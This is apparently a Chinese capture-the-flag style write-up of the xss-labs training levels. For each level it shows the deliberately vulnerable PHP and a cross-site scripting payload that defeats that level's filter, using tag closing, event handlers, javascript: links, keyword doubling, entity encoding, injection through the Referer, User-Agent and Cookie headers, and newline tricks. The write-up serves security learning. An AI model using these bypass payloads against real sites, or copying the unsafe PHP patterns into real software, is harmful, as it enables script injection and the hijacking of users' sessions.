xss-labs
level-1(url中get传参—JS弹窗函数alert())
1 2 3 4 5
| <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>
|
利用get方式去获取name值,然后直接回显到浏览器当中。所以尝试直接插入payload:
1
| <script>alert('xss')</script>
|
level-2(闭合绕过 )
1 2 3 4 5 6 7 8 9 10
| <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>
|
1 2 3
| .htmlspecialchars($str)
把 < 和 > 转换为实体,常用于防止浏览器将其用作 HTML 元素。当用户有权在您的页面上显示输入时,对于防止代码运行非常有用。
|
直接提交<script>alert('xss')</script>
未弹窗
查看网页源码
在<h2></h2>
标签之中的恶意代码被编码了。其中<、>都被编码成了html字符实体。
往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回的
只能从属性值中的恶意代码处进行突破了。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。
payload:
1
| "><script>alert('xss')</script> //
|
结果:<input name=keyword value="" > <script>alert('xss')</script> //">
level-3(onfocus/onBlur事件绕过)
1 2 3 4 5 6 7 8 9 10
| <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
|
第二关的漏洞被堵上
onfocus/onBlur事件绕过
onFocus事件就是当光标落在文本框中时发生的事件。
onBlur事件是光标失去焦点时发生的事件。
总体思路就是,直接改造原有结构,赋予搜索按钮不同的用途。
payload:
1
| ' onfocus=javascript:alert('x') '
|
成功,陷入了一个死循环,点击输入框,输入框获得焦点,触发alert,这个时候输入框失去焦点,但是点击确定以后输入框就又获得了焦点,又再次弹出。
1
| ' onBlur=javascript:alert('x') '
|
level-4(onfocus/onBlur事件绕过)
1 2 3 4 5 6 7 8 9 10 11 12
| <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
|
先将变量捕获,替换<>为空字符,再利用htmlspecialchars函数“净化”。还是上一关的姿势,只不过上一关当中注释是用的单引号,这一关换双引。
payload:
1
| " onBlur=javascript:alert('x') "
|
level-5(href标签构建)
1 2 3 4 5 6 7 8 9 10 11 12
| <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
|
script跟on被拆了
大小写结合被拦截(strtolower已经将字符串转换为了小写)
a-href标签法
href属性的意思是 当标签<a>
被点击的时候,就会触发执行转跳,可以是转跳到一个网站,还可以触发执行一段js代码
1
| <a href=javascript:alert('x')>xxx</a>
|
想办法插入
payload:
1
| "> <a href=javascript:alert('x')>xxx</a> "
|
level-6(大小写绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
|
没有strtolower函数,没过滤大小写。
payload:
1
| "> <a Href=javascript:alert('x')>xxx</a> "
|
level-7(关键字复写绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
|
关键字只检测过滤一次
payload:
1
| "> <a hrhrefef=javascscriptript:alert('x')>xxx</a> "
|
level-8(href隐藏属性绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center>
<form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form>
</center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?>
|
先进行大小写转换,然后各种关键字打乱,最后双引还给标签实体化了
href的一个隐藏的属性:href在调用openurl传参时会自动进行解码
payload
1 2 3
| javascript:alert('x')
&
|
https://tool.chinaz.com/tools/unicode.aspx
level-9(href隐藏属性绕过)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?>
|
payload:
1 2 3
| javascript:alert('http://') 绕过检验链接合法步骤,可以直接将http: &
|
level-10(猜解参数名)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="text"> </form> </center>'; ?>
|
输入框被hidden了,我们把type改成 text即可
payload:
1
| ?t_sort=" type="text" onclick="alert('xss')
|
level-11(http头传值)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
|
查看源码
referer头也成了输出参数,我们从这个下手,打开postman 或者 burpsuite,将payload写到referer里
payload:+
1
| " type="text" onmousemove="alert(1)
|
level-12(User-Agent头传值)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
|
与11关同理
payload:
1
| " type="text" onmousemove="alert(1)
|
level-13(Cookie传值)
与11关同理
payload:
1
| " type="text" onmousemove="alert(1)
|
改Cookie为
1
| user=" type="text" onmousemove="alert(1)
|
level-14(exif xss)
正常需要网站操作,网站崩了
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。
payload:
level-15(ng-include包含)
1 2 3 4 5
| <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
|
1 2 3 4 5 6 7 8 9 10
| AngularJS ng-include 指令**
*ng-include* 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
*ng-include* 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。也就相当于php里面的include。
|
将之前关卡进行包含,然后通过该关卡触发弹窗,触发level-15关的通关条件。
1
| http://0edf89bf-3f9d-4825-b2b2-9c15a35f7c0d.node4.buuoj.cn:81/level15.php?src=%27level2.php%27
|
1
| "><script>alert('xss')</script>'
|
但转至第三关
因为引用了第一关源代码,当搜索框中点击提交,会显示回显的页面,这个时候由于代码植入到了查询结果页面,所以触发了弹窗,导致直接触发了其本身的函数。跳转到了第三关当中。
既然可以引用页面,那可不可以引用一个在页面解析过程中就会直接运行*alert*函数的页面呢?
访问level2.php在页面解析的时候就插入一张图片,故意写错src地址,请求不到相应的图片会报错,onerror触发alert函数。这就不存在跳转的问题了。
payload:
1
| http://0edf89bf-3f9d-4825-b2b2-9c15a35f7c0d.node4.buuoj.cn:81/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
|
level-16(%0d回车换行绕过)
1 2 3 4 5 6 7 8 9
| <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>"; ?>
|
替换了script、/、空格,只能用onerror、onblur这类型的函数进行绕过了。
1、“0D”是把光标移到同一行的顶头——回车(CR)。
2、“0A”是把光标移到下一行——换行(LF)。
使用替身,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。
1
| ?keyword=<img%0dsrc=1%0donerror=alert(1)>
|
level-17(onmouseover标签的灵活运用)
1 2 3 4 5
| <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
|
GET方法得到的参数经过htmlspecialchars()
函数转义后复制给embed
标签的src
值。
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,就能有块错误的区域
可以用onclick或onmouseover绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性。
1
| ?arg01=a&arg02=b onmousemove='alert(1)'
|
level-18(拼接绕过)
1 2 3 4 5 6
| <h1 align=center>欢迎来到level18</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> </body>
|
与上一关同理
1
| ?arg01=a&arg02=b onmousemove='alert(1)'
|
level-19(flash xss)不会
上两关payload不行了,源码把上面漏洞闭合了,加了一对双引号,绕不出去了
level-20(flash xss)